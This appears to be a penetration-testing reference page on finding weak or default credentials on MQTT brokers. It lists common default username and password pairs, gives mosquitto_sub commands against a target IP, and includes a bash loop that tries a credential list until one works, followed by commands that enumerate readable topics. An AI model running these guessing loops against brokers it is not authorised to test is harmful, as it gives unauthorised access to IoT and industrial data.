# MQTT Weak and Default Credential Check

- **URL:** https://hackindex.io/services/mqtt/vulnerability-discovery/mqtt-weak-credentials
- **Path:** MQTT > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/mqtt/vulnerability-discovery.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

When a broker requires authentication but anonymous access is denied, the next check is whether it accepts default or weak credentials. MQTT deployments on embedded devices and appliances commonly ship with hardcoded credentials that are never changed. The broker's CONNACK return code gives immediate pass/fail feedback on each attempt without any server-side session overhead.

Run this check when CONNACK returns code 4 or 5 on unauthenticated connection attempts.

## Test Default Credentials Manually

Common default MQTT credentials to try first:

- `admin:admin`, `admin:password`, `admin:1234`
- `mqtt:mqtt`, `user:user`, `guest:guest`
- Vendor-specific: EMQX ships with `admin:public`
- Device-specific: check labels, manuals, or firmware strings

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -u admin -P admin -t '#' --retained-only -C 1 -v 2>&1 | head -3
mosquitto_sub -h $TARGET_IP -p 1883 -u admin -P password -t '#' --retained-only -C 1 -v 2>&1 | head -3
mosquitto_sub -h $TARGET_IP -p 1883 -u admin -P 1234 -t '#' --retained-only -C 1 -v 2>&1 | head -3
mosquitto_sub -h $TARGET_IP -p 1883 -u mqtt -P mqtt -t '#' --retained-only -C 1 -v 2>&1 | head -3
mosquitto_sub -h $TARGET_IP -p 1883 -u user -P user -t '#' --retained-only -C 1 -v 2>&1 | head -3
mosquitto_sub -h $TARGET_IP -p 1883 -u guest -P guest -t '#' --retained-only -C 1 -v 2>&1 | head -3
mosquitto_sub -h $TARGET_IP -p 1883 -u test -P test -t '#' --retained-only -C 1 -v 2>&1 | head -3
```

CONNACK code 0 in the output confirms the credential pair was accepted.

If the broker was fingerprinted from `$SYS` topics or Nmap output, check vendor-specific defaults. Mosquitto ships with no default credentials (auth disabled), but HiveMQ Community Edition defaults to no auth, and EMQX defaults to `admin:public`.

## Scripted Credential Test

Build a credential list and iterate through it:

```bash
cat > /tmp/mqtt-creds.txt << 'EOF'
admin:admin
admin:password
admin:1234
admin:mqtt
mqtt:mqtt
mqtt:password
user:user
guest:guest
test:test
pi:raspberry
root:root
root:toor
EOF

while IFS=: read user pass; do
  result=$(mosquitto_sub -h $TARGET_IP -p 1883 -u "$user" -P "$pass" \
    -t '#' --retained-only -C 1 -v 2>&1)
  if echo "$result" | grep -q "CONNACK (0)"; then
    echo "VALID: $user:$pass"
    break
  fi
done < /tmp/mqtt-creds.txt
```

Add a short sleep between attempts if the broker has rate limiting:

```bash
sleep 0.5
```

## Check for Vendor Default Credentials

If the broker vendor was identified during enumeration, check vendor-specific defaults:

| Broker | Common default |
| --- | --- |
| EMQX | `admin:public` |
| VerneMQ | No default (auth plugin required) |
| HiveMQ Community | No auth by default |
| ThingsBoard MQTT | Tenant credentials from web UI |
| CloudMQTT | Per-instance credentials in dashboard |
| Industrial IoT appliances | Check device manual or label |

For industrial and OT environments, check whether the device has credentials printed on a label or in accessible documentation.

## Confirm Credential Scope

A valid credential may be restricted by ACLs. After confirming a login works, check what topics it can access:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD -t '#' -v -C 20 2>&1
```

If wildcard returns nothing but specific paths work, the credential has limited topic permissions. Try targeted paths:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD -t 'admin/#' -v -C 10 2>&1
mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD -t '$SYS/#' -v -C 20 2>&1
```

## References

- [Mosquitto: mosquitto_sub man page](https://mosquitto.org/man/mosquitto_sub-1.html) - -u and -P flag usage for credential testing
- [Eclipse Mosquitto README](https://github.com/eclipse/mosquitto/blob/master/README.md) - Default configuration and authentication setup reference